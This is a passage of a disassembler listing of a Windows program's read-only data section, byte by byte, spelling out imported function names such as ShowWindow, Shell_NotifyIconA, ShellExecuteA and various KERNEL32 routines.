.rdata:00406A92                 db  6Fh ; o
.rdata:00406A93                 db  72h ; r
.rdata:00406A94                 db  65h ; e
.rdata:00406A95                 db  67h ; g
.rdata:00406A96                 db  72h ; r
.rdata:00406A97                 db  6Fh ; o
.rdata:00406A98                 db  75h ; u
.rdata:00406A99                 db  6Eh ; n
.rdata:00406A9A                 db  64h ; d
.rdata:00406A9B                 db  57h ; W
.rdata:00406A9C                 db  69h ; i
.rdata:00406A9D                 db  6Eh ; n
.rdata:00406A9E                 db  64h ; d
.rdata:00406A9F                 db  6Fh ; o
.rdata:00406AA0                 db  77h ; w
.rdata:00406AA1                 db    0
.rdata:00406AA2                 db  6Ah ; j
.rdata:00406AA3                 db    2
.rdata:00406AA4                 db  53h ; S
.rdata:00406AA5                 db  68h ; h
.rdata:00406AA6                 db  6Fh ; o
.rdata:00406AA7                 db  77h ; w
.rdata:00406AA8                 db  57h ; W
.rdata:00406AA9                 db  69h ; i
.rdata:00406AAA                 db  6Eh ; n
.rdata:00406AAB                 db  64h ; d
.rdata:00406AAC                 db  6Fh ; o
.rdata:00406AAD                 db  77h ; w
.rdata:00406AAE                 db    0
.rdata:00406AAF                 db    0
.rdata:00406AB0                 db  92h ; Æ
.rdata:00406AB1                 db    1
.rdata:00406AB2                 db  49h ; I
.rdata:00406AB3                 db  73h ; s
.rdata:00406AB4                 db  57h ; W
.rdata:00406AB5                 db  69h ; i
.rdata:00406AB6                 db  6Eh ; n
.rdata:00406AB7                 db  64h ; d
.rdata:00406AB8                 db  6Fh ; o
.rdata:00406AB9                 db  77h ; w
.rdata:00406ABA                 db  56h ; V
.rdata:00406ABB                 db  69h ; i
.rdata:00406ABC                 db  73h ; s
.rdata:00406ABD                 db  69h ; i
.rdata:00406ABE                 db  62h ; b
.rdata:00406ABF                 db  6Ch ; l
.rdata:00406AC0                 db  65h ; e
.rdata:00406AC1                 db    0
.rdata:00406AC2                 db 0B9h ; ¦
.rdata:00406AC3                 db    0
.rdata:00406AC4                 db  45h ; E
.rdata:00406AC5                 db  6Eh ; n
.rdata:00406AC6                 db  64h ; d
.rdata:00406AC7                 db  44h ; D
.rdata:00406AC8                 db  69h ; i
.rdata:00406AC9                 db  61h ; a
.rdata:00406ACA                 db  6Ch ; l
.rdata:00406ACB                 db  6Fh ; o
.rdata:00406ACC                 db  67h ; g
.rdata:00406ACD                 db    0
.rdata:00406ACE                 db  14h
.rdata:00406ACF                 db    2
.rdata:00406AD0                 db  53h ; S
.rdata:00406AD1                 db  65h ; e
.rdata:00406AD2                 db  6Eh ; n
.rdata:00406AD3                 db  64h ; d
.rdata:00406AD4                 db  4Dh ; M
.rdata:00406AD5                 db  65h ; e
.rdata:00406AD6                 db  73h ; s
.rdata:00406AD7                 db  73h ; s
.rdata:00406AD8                 db  61h ; a
.rdata:00406AD9                 db  67h ; g
.rdata:00406ADA                 db  65h ; e
.rdata:00406ADB                 db  41h ; A
.rdata:00406ADC                 db    0
.rdata:00406ADD                 db    0
.rdata:00406ADE                 db  9Eh ; P
.rdata:00406ADF                 db    1
.rdata:00406AE0                 db  4Ch ; L
.rdata:00406AE1                 db  6Fh ; o
.rdata:00406AE2                 db  61h ; a
.rdata:00406AE3                 db  64h ; d
.rdata:00406AE4                 db  49h ; I
.rdata:00406AE5                 db  63h ; c
.rdata:00406AE6                 db  6Fh ; o
.rdata:00406AE7                 db  6Eh ; n
.rdata:00406AE8                 db  41h ; A
.rdata:00406AE9                 db    0
.rdata:00406AEA                 db 0C9h ; +
.rdata:00406AEB                 db    1
.rdata:00406AEC                 db  4Dh ; M
.rdata:00406AED                 db  6Fh ; o
.rdata:00406AEE                 db  76h ; v
.rdata:00406AEF                 db  65h ; e
.rdata:00406AF0                 db  57h ; W
.rdata:00406AF1                 db  69h ; i
.rdata:00406AF2                 db  6Eh ; n
.rdata:00406AF3                 db  64h ; d
.rdata:00406AF4                 db  6Fh ; o
.rdata:00406AF5                 db  77h ; w
.rdata:00406AF6                 db    0
.rdata:00406AF7                 db    0
.rdata:00406AF8                 db  46h ; F
.rdata:00406AF9                 db    1
.rdata:00406AFA                 db  47h ; G
.rdata:00406AFB                 db  65h ; e
.rdata:00406AFC                 db  74h ; t
.rdata:00406AFD                 db  53h ; S
.rdata:00406AFE                 db  79h ; y
.rdata:00406AFF                 db  73h ; s
.rdata:00406B00                 db  74h ; t
.rdata:00406B01                 db  65h ; e
.rdata:00406B02                 db  6Dh ; m
.rdata:00406B03                 db  4Dh ; M
.rdata:00406B04                 db  65h ; e
.rdata:00406B05                 db  74h ; t
.rdata:00406B06                 db  72h ; r
.rdata:00406B07                 db  69h ; i
.rdata:00406B08                 db  63h ; c
.rdata:00406B09                 db  73h ; s
.rdata:00406B0A                 db    0
.rdata:00406B0B                 db    0
.rdata:00406B0C                 db  5Ch ; \
.rdata:00406B0D                 db    1
.rdata:00406B0E                 db  47h ; G
.rdata:00406B0F                 db  65h ; e
.rdata:00406B10                 db  74h ; t
.rdata:00406B11                 db  57h ; W
.rdata:00406B12                 db  69h ; i
.rdata:00406B13                 db  6Eh ; n
.rdata:00406B14                 db  64h ; d
.rdata:00406B15                 db  6Fh ; o
.rdata:00406B16                 db  77h ; w
.rdata:00406B17                 db  52h ; R
.rdata:00406B18                 db  65h ; e
.rdata:00406B19                 db  63h ; c
.rdata:00406B1A                 db  74h ; t
.rdata:00406B1B                 db    0
.rdata:00406B1C                 db  55h ; U
.rdata:00406B1D                 db  53h ; S
.rdata:00406B1E                 db  45h ; E
.rdata:00406B1F                 db  52h ; R
.rdata:00406B20                 db  33h ; 3
.rdata:00406B21                 db  32h ; 2
.rdata:00406B22                 db  2Eh ; .
.rdata:00406B23                 db  64h ; d
.rdata:00406B24                 db  6Ch ; l
.rdata:00406B25                 db  6Ch ; l
.rdata:00406B26                 db    0
.rdata:00406B27                 db    0
.rdata:00406B28                 db  79h ; y
.rdata:00406B29                 db    0
.rdata:00406B2A                 db  53h ; S
.rdata:00406B2B                 db  68h ; h
.rdata:00406B2C                 db  65h ; e
.rdata:00406B2D                 db  6Ch ; l
.rdata:00406B2E                 db  6Ch ; l
.rdata:00406B2F                 db  5Fh ; _
.rdata:00406B30                 db  4Eh ; N
.rdata:00406B31                 db  6Fh ; o
.rdata:00406B32                 db  74h ; t
.rdata:00406B33                 db  69h ; i
.rdata:00406B34                 db  66h ; f
.rdata:00406B35                 db  79h ; y
.rdata:00406B36                 db  49h ; I
.rdata:00406B37                 db  63h ; c
.rdata:00406B38                 db  6Fh ; o
.rdata:00406B39                 db  6Eh ; n
.rdata:00406B3A                 db  41h ; A
.rdata:00406B3B                 db    0
.rdata:00406B3C                 db  72h ; r
.rdata:00406B3D                 db    0
.rdata:00406B3E                 db  53h ; S
.rdata:00406B3F                 db  68h ; h
.rdata:00406B40                 db  65h ; e
.rdata:00406B41                 db  6Ch ; l
.rdata:00406B42                 db  6Ch ; l
.rdata:00406B43                 db  45h ; E
.rdata:00406B44                 db  78h ; x
.rdata:00406B45                 db  65h ; e
.rdata:00406B46                 db  63h ; c
.rdata:00406B47                 db  75h ; u
.rdata:00406B48                 db  74h ; t
.rdata:00406B49                 db  65h ; e
.rdata:00406B4A                 db  41h ; A
.rdata:00406B4B                 db    0
.rdata:00406B4C                 db  53h ; S
.rdata:00406B4D                 db  48h ; H
.rdata:00406B4E                 db  45h ; E
.rdata:00406B4F                 db  4Ch ; L
.rdata:00406B50                 db  4Ch ; L
.rdata:00406B51                 db  33h ; 3
.rdata:00406B52                 db  32h ; 2
.rdata:00406B53                 db  2Eh ; .
.rdata:00406B54                 db  64h ; d
.rdata:00406B55                 db  6Ch ; l
.rdata:00406B56                 db  6Ch ; l
.rdata:00406B57                 db    0
.rdata:00406B58                 db 0ADh ; ¡
.rdata:00406B59                 db    1
.rdata:00406B5A                 db  49h ; I
.rdata:00406B5B                 db  6Eh ; n
.rdata:00406B5C                 db  74h ; t
.rdata:00406B5D                 db  65h ; e
.rdata:00406B5E                 db  72h ; r
.rdata:00406B5F                 db  6Ch ; l
.rdata:00406B60                 db  6Fh ; o
.rdata:00406B61                 db  63h ; c
.rdata:00406B62                 db  6Bh ; k
.rdata:00406B63                 db  65h ; e
.rdata:00406B64                 db  64h ; d
.rdata:00406B65                 db  44h ; D
.rdata:00406B66                 db  65h ; e
.rdata:00406B67                 db  63h ; c
.rdata:00406B68                 db  72h ; r
.rdata:00406B69                 db  65h ; e
.rdata:00406B6A                 db  6Dh ; m
.rdata:00406B6B                 db  65h ; e
.rdata:00406B6C                 db  6Eh ; n
.rdata:00406B6D                 db  74h ; t
.rdata:00406B6E                 db    0
.rdata:00406B6F                 db    0
.rdata:00406B70                 db 0B0h ; ¦
.rdata:00406B71                 db    1
.rdata:00406B72                 db  49h ; I
.rdata:00406B73                 db  6Eh ; n
.rdata:00406B74                 db  74h ; t
.rdata:00406B75                 db  65h ; e
.rdata:00406B76                 db  72h ; r
.rdata:00406B77                 db  6Ch ; l
.rdata:00406B78                 db  6Fh ; o
.rdata:00406B79                 db  63h ; c
.rdata:00406B7A                 db  6Bh ; k
.rdata:00406B7B                 db  65h ; e
.rdata:00406B7C                 db  64h ; d
.rdata:00406B7D                 db  49h ; I
.rdata:00406B7E                 db  6Eh ; n
.rdata:00406B7F                 db  63h ; c
.rdata:00406B80                 db  72h ; r
.rdata:00406B81                 db  65h ; e
.rdata:00406B82                 db  6Dh ; m
.rdata:00406B83                 db  65h ; e
.rdata:00406B84                 db  6Eh ; n
.rdata:00406B85                 db  74h ; t
.rdata:00406B86                 db    0
.rdata:00406B87                 db    0
.rdata:00406B88                 db  50h ; P
.rdata:00406B89                 db    1
.rdata:00406B8A                 db  47h ; G
.rdata:00406B8B                 db  65h ; e
.rdata:00406B8C                 db  74h ; t
.rdata:00406B8D                 db  53h ; S
.rdata:00406B8E                 db  74h ; t
.rdata:00406B8F                 db  61h ; a
.rdata:00406B90                 db  72h ; r
.rdata:00406B91                 db  74h ; t
.rdata:00406B92                 db  75h ; u
.rdata:00406B93                 db  70h ; p
.rdata:00406B94                 db  49h ; I
.rdata:00406B95                 db  6Eh ; n
.rdata:00406B96                 db  66h ; f
.rdata:00406B97                 db  6Fh ; o
.rdata:00406B98                 db  41h ; A
.rdata:00406B99                 db    0
.rdata:00406B9A                 db 0CAh ; -
.rdata:00406B9B                 db    0
.rdata:00406B9C                 db  47h ; G
.rdata:00406B9D                 db  65h ; e
.rdata:00406B9E                 db  74h ; t
.rdata:00406B9F                 db  43h ; C
.rdata:00406BA0                 db  6Fh ; o
.rdata:00406BA1                 db  6Dh ; m
.rdata:00406BA2                 db  6Dh ; m
.rdata:00406BA3                 db  61h ; a
.rdata:00406BA4                 db  6Eh ; n
.rdata:00406BA5                 db  64h ; d
.rdata:00406BA6                 db  4Ch ; L
.rdata:00406BA7                 db  69h ; i
.rdata:00406BA8                 db  6Eh ; n
.rdata:00406BA9                 db  65h ; e
.rdata:00406BAA                 db  41h ; A
.rdata:00406BAB                 db    0
.rdata:00406BAC                 db  74h ; t
.rdata:00406BAD                 db    1
.rdata:00406BAE                 db  47h ; G
.rdata:00406BAF                 db  65h ; e
.rdata:00406BB0                 db  74h ; t
.rdata:00406BB1                 db  56h ; V
.rdata:00406BB2                 db  65h ; e
.rdata:00406BB3                 db  72h ; r
.rdata:00406BB4                 db  73h ; s
.rdata:00406BB5                 db  69h ; i
.rdata:00406BB6                 db  6Fh ; o
.rdata:00406BB7                 db  6Eh ; n
.rdata:00406BB8                 db    0
.rdata:00406BB9                 db    0
.rdata:00406BBA                 db  7Dh ; }
.rdata:00406BBB                 db    0
.rdata:00406BBC                 db  45h ; E
.rdata:00406BBD                 db  78h ; x
.rdata:00406BBE                 db  69h ; i
.rdata:00406BBF                 db  74h ; t
.rdata:00406BC0                 db  50h ; P
.rdata:00406BC1                 db  72h ; r
.rdata:00406BC2                 db  6Fh ; o
.rdata:00406BC3                 db  63h ; c
.rdata:00406BC4                 db  65h ; e
.rdata:00406BC5                 db  73h ; s
.rdata:00406BC6                 db  73h ; s
.rdata:00406BC7                 db    0
.rdata:00406BC8                 db 0AAh ; ¬
.rdata:00406BC9                 db    1
.rdata:00406BCA                 db  49h ; I
.rdata:00406BCB                 db  6Eh ; n
.rdata:00406BCC                 db  69h ; i
.rdata:00406BCD                 db  74h ; t
.rdata:00406BCE                 db  69h ; i
.rdata:00406BCF                 db  61h ; a
.rdata:00406BD0                 db  6Ch ; l
.rdata:00406BD1                 db  69h ; i
.rdata:00406BD2                 db  7Ah ; z
.rdata:00406BD3                 db  65h ; e
.rdata:00406BD4                 db  43h ; C
.rdata:00406BD5                 db  72h ; r
.rdata:00406BD6                 db  69h ; i
.rdata:00406BD7                 db  74h ; t
.rdata:00406BD8                 db  69h ; i
.rdata:00406BD9                 db  63h ; c
.rdata:00406BDA                 db  61h ; a
.rdata:00406BDB                 db  6Ch ; l
.rdata:00406BDC                 db  53h ; S
.rdata:00406BDD                 db  65h ; e
.rdata:00406BDE                 db  63h ; c
.rdata:00406BDF                 db  74h ; t
.rdata:00406BE0                 db  69h ; i
.rdata:00406BE1                 db  6Fh ; o
.rdata:00406BE2                 db  6Eh ; n
.rdata:00406BE3                 db    0
.rdata:00406BE4                 db  66h ; f
.rdata:00406BE5                 db    0
.rdata:00406BE6                 db  45h ; E
.rdata:00406BE7                 db  6Eh ; n
.rdata:00406BE8                 db  74h ; t
.rdata:00406BE9                 db  65h ; e
.rdata:00406BEA                 db  72h ; r
.rdata:00406BEB                 db  43h ; C
.rdata:00406BEC                 db  72h ; r
.rdata:00406BED                 db  69h ; i
.rdata:00406BEE                 db  74h ; t
.rdata:00406BEF                 db  69h ; i
.rdata:00406BF0                 db  63h ; c
.rdata:00406BF1                 db  61h ; a
.rdata:00406BF2                 db  6Ch ; l
.rdata:00406BF3                 db  53h ; S
.rdata:00406BF4                 db  65h ; e
.rdata:00406BF5                 db  63h ; c
.rdata:00406BF6                 db  74h ; t
.rdata:00406BF7                 db  69h ; i
.rdata:00406BF8                 db  6Fh ; o
.rdata:00406BF9                 db  6Eh ; n
.rdata:00406BFA                 db    0
.rdata:00406BFB                 db    0
.rdata:00406BFC                 db 0C1h ; -
.rdata:00406BFD                 db    1
.rdata:00406BFE                 db  4Ch ; L
.rdata:00406BFF                 db  65h ; e
.rdata:00406C00                 db  61h ; a
.rdata:00406C01                 db  76h ; v
.rdata:00406C02                 db  65h ; e
.rdata:00406C03                 db  43h ; C
.rdata:00406C04                 db  72h ; r
.rdata:00406C05                 db  69h ; i
.rdata:00406C06                 db  74h ; t
.rdata:00406C07                 db  69h ; i
.rdata:00406C08                 db  63h ; c
.rdata:00406C09                 db  61h ; a
.rdata:00406C0A                 db  6Ch ; l
.rdata:00406C0B                 db  53h ; S
.rdata:00406C0C                 db  65h ; e
.rdata:00406C0D                 db  63h ; c
.rdata:00406C0E                 db  74h ; t
.rdata:00406C0F                 db  69h ; i
.rdata:00406C10                 db  6Fh ; o
.rdata:00406C11                 db  6Eh ; n
.rdata:00406C12                 db    0
.rdata:00406C13                 db    0
.rdata:00406C14                 db 0D2h ; -
.rdata:00406C15                 db    2
.rdata:00406C16                 db  57h ; W
.rdata:00406C17                 db  69h ; i
.rdata:00406C18                 db  64h ; d
.rdata:00406C19                 db  65h ; e
.rdata:00406C1A                 db  43h ; C
.rdata:00406C1B                 db  68h ; h
.rdata:00406C1C                 db  61h ; a
.rdata:00406C1D                 db  72h ; r
.rdata:00406C1E                 db  54h ; T
.rdata:00406C1F                 db  6Fh ; o
.rdata:00406C20                 db  4Dh ; M
.rdata:00406C21                 db  75h ; u
.rdata:00406C22                 db  6Ch ; l
.rdata:00406C23                 db  74h ; t
.rdata:00406C24                 db  69h ; i
.rdata:00406C25                 db  42h ; B
.rdata:00406C26                 db  79h ; y
.rdata:00406C27                 db  74h ; t
.rdata:00406C28                 db  65h ; e
.rdata:00406C29                 db    0
.rdata:00406C2A                 db 0E4h ; S
.rdata:00406C2B                 db    1
.rdata:00406C2C                 db  4Dh ; M
.rdata:00406C2D                 db  75h ; u
.rdata:00406C2E                 db  6Ch ; l
.rdata:00406C2F                 db  74h ; t
.rdata:00406C30                 db  69h ; i
.rdata:00406C31                 db  42h ; B
.rdata:00406C32                 db  79h ; y
.rdata:00406C33                 db  74h ; t
.rdata:00406C34                 db  65h ; e
.rdata:00406C35                 db  54h ; T
.rdata:00406C36                 db  6Fh ; o
.rdata:00406C37                 db  57h ; W
.rdata:00406C38                 db  69h ; i
.rdata:00406C39                 db  64h ; d
.rdata:00406C3A                 db  65h ; e
.rdata:00406C3B                 db  43h ; C
.rdata:00406C3C                 db  68h ; h
.rdata:00406C3D                 db  61h ; a
.rdata:00406C3E                 db  72h ; r
.rdata:00406C3F                 db    0
.rdata:00406C40                 db 0BFh ; +
.rdata:00406C41                 db    1
.rdata:00406C42                 db  4Ch ; L
.rdata:00406C43                 db  43h ; C
.rdata:00406C44                 db  4Dh ; M
.rdata:00406C45                 db  61h ; a
.rdata:00406C46                 db  70h ; p
.rdata:00406C47                 db  53h ; S
.rdata:00406C48                 db  74h ; t
.rdata:00406C49                 db  72h ; r
.rdata:00406C4A                 db  69h ; i
.rdata:00406C4B                 db  6Eh ; n
.rdata:00406C4C                 db  67h ; g
.rdata:00406C4D                 db  41h ; A
.rdata:00406C4E                 db    0
.rdata:00406C4F                 db    0
.rdata:00406C50                 db 0C0h ; +
.rdata:00406C51                 db    1
.rdata:00406C52                 db  4Ch ; L
.rdata:00406C53                 db  43h ; C
.rdata:00406C54                 db  4Dh ; M
.rdata:00406C55                 db  61h ; a
.rdata:00406C56                 db  70h ; p
.rdata:00406C57                 db  53h ; S
.rdata:00406C58                 db  74h ; t
.rdata:00406C59                 db  72h ; r
.rdata:00406C5A                 db  69h ; i
.rdata:00406C5B                 db  6Eh ; n
.rdata:00406C5C                 db  67h ; g
.rdata:00406C5D                 db  57h ; W
.rdata:00406C5E                 db    0
.rdata:00406C5F                 db    0
.rdata:00406C60                 db  99h ; Ö
.rdata:00406C61                 db    1
.rdata:00406C62                 db  48h ; H
.rdata:00406C63                 db  65h ; e
.rdata:00406C64                 db  61h ; a
.rdata:00406C65                 db  70h ; p
.rdata:00406C66                 db  41h ; A
.rdata:00406C67                 db  6Ch ; l
.rdata:00406C68                 db  6Ch ; l
.rdata:00406C69                 db  6Fh ; o
.rdata:00406C6A                 db  63h ; c
.rdata:00406C6B                 db    0
.rdata:00406C6C                 db  9Eh ; P
.rdata:00406C6D                 db    2
.rdata:00406C6E                 db  54h ; T
.rdata:00406C6F                 db  65h ; e
.rdata:00406C70                 db  72h ; r
.rdata:00406C71                 db  6Dh ; m
.rdata:00406C72                 db  69h ; i
.rdata:00406C73                 db  6Eh ; n
.rdata:00406C74                 db  61h ; a
.rdata:00406C75                 db  74h ; t
.rdata:00406C76                 db  65h ; e
.rdata:00406C77                 db  50h ; P
.rdata:00406C78                 db  72h ; r
.rdata:00406C79                 db  6Fh ; o
.rdata:00406C7A                 db  63h ; c
.rdata:00406C7B                 db  65h ; e
.rdata:00406C7C                 db  73h ; s
.rdata:00406C7D                 db  73h ; s
.rdata:00406C7E                 db    0
.rdata:00406C7F                 db    0
.rdata:00406C80                 db 0F7h ; ˜
.rdata:00406C81                 db    0
.rdata:00406C82                 db  47h ; G
.rdata:00406C83                 db  65h ; e
.rdata:00406C84                 db  74h ; t
.rdata:00406C85                 db  43h ; C
.rdata:00406C86                 db  75h ; u
.rdata:00406C87                 db  72h ; r
.rdata:00406C88                 db  72h ; r
.rdata:00406C89                 db  65h ; e
.rdata:00406C8A                 db  6Eh ; n
.rdata:00406C8B                 db  74h ; t
.rdata:00406C8C                 db  50h ; P
.rdata:00406C8D                 db  72h ; r
.rdata:00406C8E                 db  6Fh ; o
.rdata:00406C8F                 db  63h ; c
.rdata:00406C90                 db  65h ; e
.rdata:00406C91                 db  73h ; s
.rdata:00406C92                 db  73h ; s
.rdata:00406C93                 db    0
.rdata:00406C94                 db 0ADh ; ¡
.rdata:00406C95                 db    2
.rdata:00406C96                 db  55h ; U
.rdata:00406C97                 db  6Eh ; n
.rdata:00406C98                 db  68h ; h
.rdata:00406C99                 db  61h ; a
.rdata:00406C9A                 db  6Eh ; n
.rdata:00406C9B                 db  64h ; d
.rdata:00406C9C                 db  6Ch ; l
.rdata:00406C9D                 db  65h ; e
.rdata:00406C9E                 db  64h ; d
.rdata:00406C9F                 db  45h ; E
.rdata:00406CA0                 db  78h ; x
.rdata:00406CA1                 db  63h ; c
.rdata:00406CA2                 db  65h ; e
.rdata:00406CA3                 db  70h ; p
.rdata:00406CA4                 db  74h ; t
.rdata:00406CA5                 db  69h ; i
.rdata:00406CA6                 db  6Fh ; o
.rdata:00406CA7                 db  6Eh ; n
.rdata:00406CA8                 db  46h ; F
.rdata:00406CA9                 db  69h ; i
.rdata:00406CAA                 db  6Ch ; l
.rdata:00406CAB                 db  74h ; t
.rdata:00406CAC                 db  65h ; e
.rdata:00406CAD                 db  72h ; r
.rdata:00406CAE                 db    0
.rdata:00406CAF                 db    0
.rdata:00406CB0                 db 0B2h ; ¦
.rdata:00406CB1                 db    0
.rdata:00406CB2                 db  46h ; F
.rdata:00406CB3                 db  72h ; r
.rdata:00406CB4                 db  65h ; e
.rdata:00406CB5                 db  65h ; e
.rdata:00406CB6                 db  45h ; E
.rdata:00406CB7                 db  6Eh ; n
.rdata:00406CB8                 db  76h ; v
.rdata:00406CB9                 db  69h ; i
.rdata:00406CBA                 db  72h ; r
.rdata:00406CBB                 db  6Fh ; o
.rdata:00406CBC                 db  6Eh ; n
.rdata:00406CBD                 db  6Dh ; m
.rdata:00406CBE                 db  65h ; e
.rdata:00406CBF                 db  6Eh ; n
.rdata:00406CC0                 db  74h ; t
.rdata:00406CC1                 db  53h ; S
.rdata:00406CC2                 db  74h ; t
.rdata:00406CC3                 db  72h ; r
.rdata:00406CC4                 db  69h ; i
.rdata:00406CC5                 db  6Eh ; n
.rdata:00406CC6                 db  67h ; g
.rdata:00406CC7                 db  73h ; s
.rdata:00406CC8                 db  41h ; A
.rdata:00406CC9                 db    0
.rdata:00406CCA                 db 0B3h ; ¦
.rdata:00406CCB                 db    0
.rdata:00406CCC                 db  46h ; F
.rdata:00406CCD                 db  72h ; r
.rdata:00406CCE                 db  65h ; e
.rdata:00406CCF                 db  65h ; e
.rdata:00406CD0                 db  45h ; E
.rdata:00406CD1                 db  6Eh ; n
.rdata:00406CD2                 db  76h ; v
.rdata:00406CD3                 db  69h ; i
.rdata:00406CD4                 db  72h ; r
.rdata:00406CD5                 db  6Fh ; o
.rdata:00406CD6                 db  6Eh ; n
.rdata:00406CD7                 db  6Dh ; m
.rdata:00406CD8                 db  65h ; e
.rdata:00406CD9                 db  6Eh ; n
.rdata:00406CDA                 db  74h ; t
.rdata:00406CDB                 db  53h ; S
.rdata:00406CDC                 db  74h ; t
.rdata:00406CDD                 db  72h ; r
.rdata:00406CDE                 db  69h ; i
.rdata:00406CDF                 db  6Eh ; n
.rdata:00406CE0                 db  67h ; g
.rdata:00406CE1                 db  73h ; s
.rdata:00406CE2                 db  57h ; W
.rdata:00406CE3                 db    0
.rdata:00406CE4                 db    6
.rdata:00406CE5                 db    1
.rdata:00406CE6                 db  47h ; G
.rdata:00406CE7                 db  65h ; e
.rdata:00406CE8                 db  74h ; t
.rdata:00406CE9                 db  45h ; E
.rdata:00406CEA                 db  6Eh ; n
.rdata:00406CEB                 db  76h ; v
.rdata:00406CEC                 db  69h ; i
.rdata:00406CED                 db  72h ; r
.rdata:00406CEE                 db  6Fh ; o
.rdata:00406CEF                 db  6Eh ; n
.rdata:00406CF0                 db  6Dh ; m
.rdata:00406CF1                 db  65h ; e
.rdata:00406CF2                 db  6Eh ; n
.rdata:00406CF3                 db  74h ; t
.rdata:00406CF4                 db  53h ; S
.rdata:00406CF5                 db  74h ; t
.rdata:00406CF6                 db  72h ; r
.rdata:00406CF7                 db  69h ; i
.rdata:00406CF8                 db  6Eh ; n
.rdata:00406CF9                 db  67h ; g
.rdata:00406CFA                 db  73h ; s
.rdata:00406CFB                 db    0
.rdata:00406CFC                 db    8
.rdata:00406CFD                 db    1
.rdata:00406CFE                 db  47h ; G
.rdata:00406CFF                 db  65h ; e
.rdata:00406D00                 db  74h ; t
.rdata:00406D01                 db  45h ; E
.rdata:00406D02                 db  6Eh ; n
.rdata:00406D03                 db  76h ; v
.rdata:00406D04                 db  69h ; i
.rdata:00406D05                 db  72h ; r
.rdata:00406D06                 db  6Fh ; o
.rdata:00406D07                 db  6Eh ; n
.rdata:00406D08                 db  6Dh ; m
.rdata:00406D09                 db  65h ; e
.rdata:00406D0A                 db  6Eh ; n
.rdata:00406D0B                 db  74h ; t
.rdata:00406D0C                 db  53h ; S
.rdata:00406D0D                 db  74h ; t
.rdata:00406D0E                 db  72h ; r
.rdata:00406D0F                 db  69h ; i
.rdata:00406D10                 db  6Eh ; n
.rdata:00406D11                 db  67h ; g
.rdata:00406D12                 db  73h ; s
.rdata:00406D13                 db  57h ; W
.rdata:00406D14                 db    0
.rdata:00406D15                 db    0
.rdata:00406D16                 db  6Dh ; m
.rdata:00406D17                 db    2
.rdata:00406D18                 db  53h ; S
.rdata:00406D19                 db  65h ; e
.rdata:00406D1A                 db  74h ; t
.rdata:00406D1B                 db  48h ; H
.rdata:00406D1C                 db  61h ; a
.rdata:00406D1D                 db  6Eh ; n
.rdata:00406D1E                 db  64h ; d
.rdata:00406D1F                 db  6Ch ; l
.rdata:00406D20                 db  65h ; e
.rdata:00406D21                 db  43h ; C
.rdata:00406D22                 db  6Fh ; o
.rdata:00406D23                 db  75h ; u
.rdata:00406D24                 db  6Eh ; n
.rdata:00406D25                 db  74h ; t
.rdata:00406D26                 db    0
.rdata:00406D27                 db    0
.rdata:00406D28                 db  52h ; R
.rdata:00406D29                 db    1
.rdata:00406D2A                 db  47h ; G
.rdata:00406D2B                 db  65h ; e
.rdata:00406D2C                 db  74h ; t
.rdata:00406D2D                 db  53h ; S
.rdata:00406D2E                 db  74h ; t
.rdata:00406D2F                 db  64h ; d
.rdata:00406D30                 db  48h ; H
.rdata:00406D31                 db  61h ; a
.rdata:00406D32                 db  6Eh ; n
.rdata:00406D33                 db  64h ; d
.rdata:00406D34                 db  6Ch ; l
.rdata:00406D35                 db  65h ; e
.rdata:00406D36                 db    0
.rdata:00406D37                 db    0
.rdata:00406D38                 db  15h
.rdata:00406D39                 db    1
.rdata:00406D3A                 db  47h ; G
.rdata:00406D3B                 db  65h ; e
.rdata:00406D3C                 db  74h ; t
.rdata:00406D3D                 db  46h ; F
.rdata:00406D3E                 db  69h ; i
.rdata:00406D3F                 db  6Ch ; l
.rdata:00406D40                 db  65h ; e
.rdata:00406D41                 db  54h ; T
.rdata:00406D42                 db  79h ; y
.rdata:00406D43                 db  70h ; p
.rdata:00406D44                 db  65h ; e
.rdata:00406D45                 db    0
.rdata:00406D46                 db 0FAh ; ·
.rdata:00406D47                 db    0
.rdata:00406D48                 db  47h ; G
.rdata:00406D49                 db  65h ; e
.rdata:00406D4A                 db  74h ; t
.rdata:00406D4B                 db  43h ; C
.rdata:00406D4C                 db  75h ; u
.rdata:00406D4D                 db  72h ; r
.rdata:00406D4E                 db  72h ; r
.rdata:00406D4F                 db  65h ; e
.rdata:00406D50                 db  6Eh ; n
.rdata:00406D51                 db  74h ; t
.rdata:00406D52                 db  54h ; T
.rdata:00406D53                 db  68h ; h
.rdata:00406D54                 db  72h ; r
.rdata:00406D55                 db  65h ; e
.rdata:00406D56                 db  61h ; a
.rdata:00406D57                 db  64h ; d
.rdata:00406D58                 db  49h ; I
.rdata:00406D59                 db  64h ; d
.rdata:00406D5A                 db    0
.rdata:00406D5B                 db    0
.rdata:00406D5C                 db 0A5h ; Ñ
.rdata:00406D5D                 db    2
.rdata:00406D5E                 db  54h ; T
.rdata:00406D5F                 db  6Ch ; l
.rdata:00406D60                 db  73h ; s
.rdata:00406D61                 db  53h ; S
.rdata:00406D62                 db  65h ; e
.rdata:00406D63                 db  74h ; t
.rdata:00406D64                 db  56h ; V
.rdata:00406D65                 db  61h ; a
.rdata:00406D66                 db  6Ch ; l
.rdata:00406D67                 db  75h ; u
.rdata:00406D68                 db  65h ; e
.rdata:00406D69                 db    0
.rdata:00406D6A                 db 0A2h ; ó
.rdata:00406D6B                 db    2
.rdata:00406D6C                 db  54h ; T
.rdata:00406D6D                 db  6Ch ; l
.rdata:00406D6E                 db  73h ; s
.rdata:00406D6F                 db  41h ; A
.rdata:00406D70                 db  6Ch ; l
.rdata:00406D71                 db  6Ch ; l
.rdata:00406D72                 db  6Fh ; o
.rdata:00406D73                 db  63h ; c
.rdata:00406D74                 db    0
.rdata:00406D75                 db    0
.rdata:00406D76                 db  71h ; q
.rdata:00406D77                 db    2
.rdata:00406D78                 db  53h ; S
.rdata:00406D79                 db  65h ; e
.rdata:00406D7A                 db  74h ; t
.rdata:00406D7B                 db  4Ch ; L
.rdata:00406D7C                 db  61h ; a
.rdata:00406D7D                 db  73h ; s
.rdata:00406D7E                 db  74h ; t
.rdata:00406D7F                 db  45h ; E
.rdata:00406D80                 db  72h ; r
.rdata:00406D81                 db  72h ; r
.rdata:00406D82                 db  6Fh ; o
.rdata:00406D83                 db  72h ; r
.rdata:00406D84                 db    0
.rdata:00406D85                 db    0
.rdata:00406D86                 db 0A4h ; ñ
.rdata:00406D87                 db    2
.rdata:00406D88                 db  54h ; T
.rdata:00406D89                 db  6Ch ; l
.rdata:00406D8A                 db  73h ; s
.rdata:00406D8B                 db  47h ; G
.rdata:00406D8C                 db  65h ; e
.rdata:00406D8D                 db  74h ; t
.rdata:00406D8E                 db  56h ; V
.rdata:00406D8F                 db  61h ; a
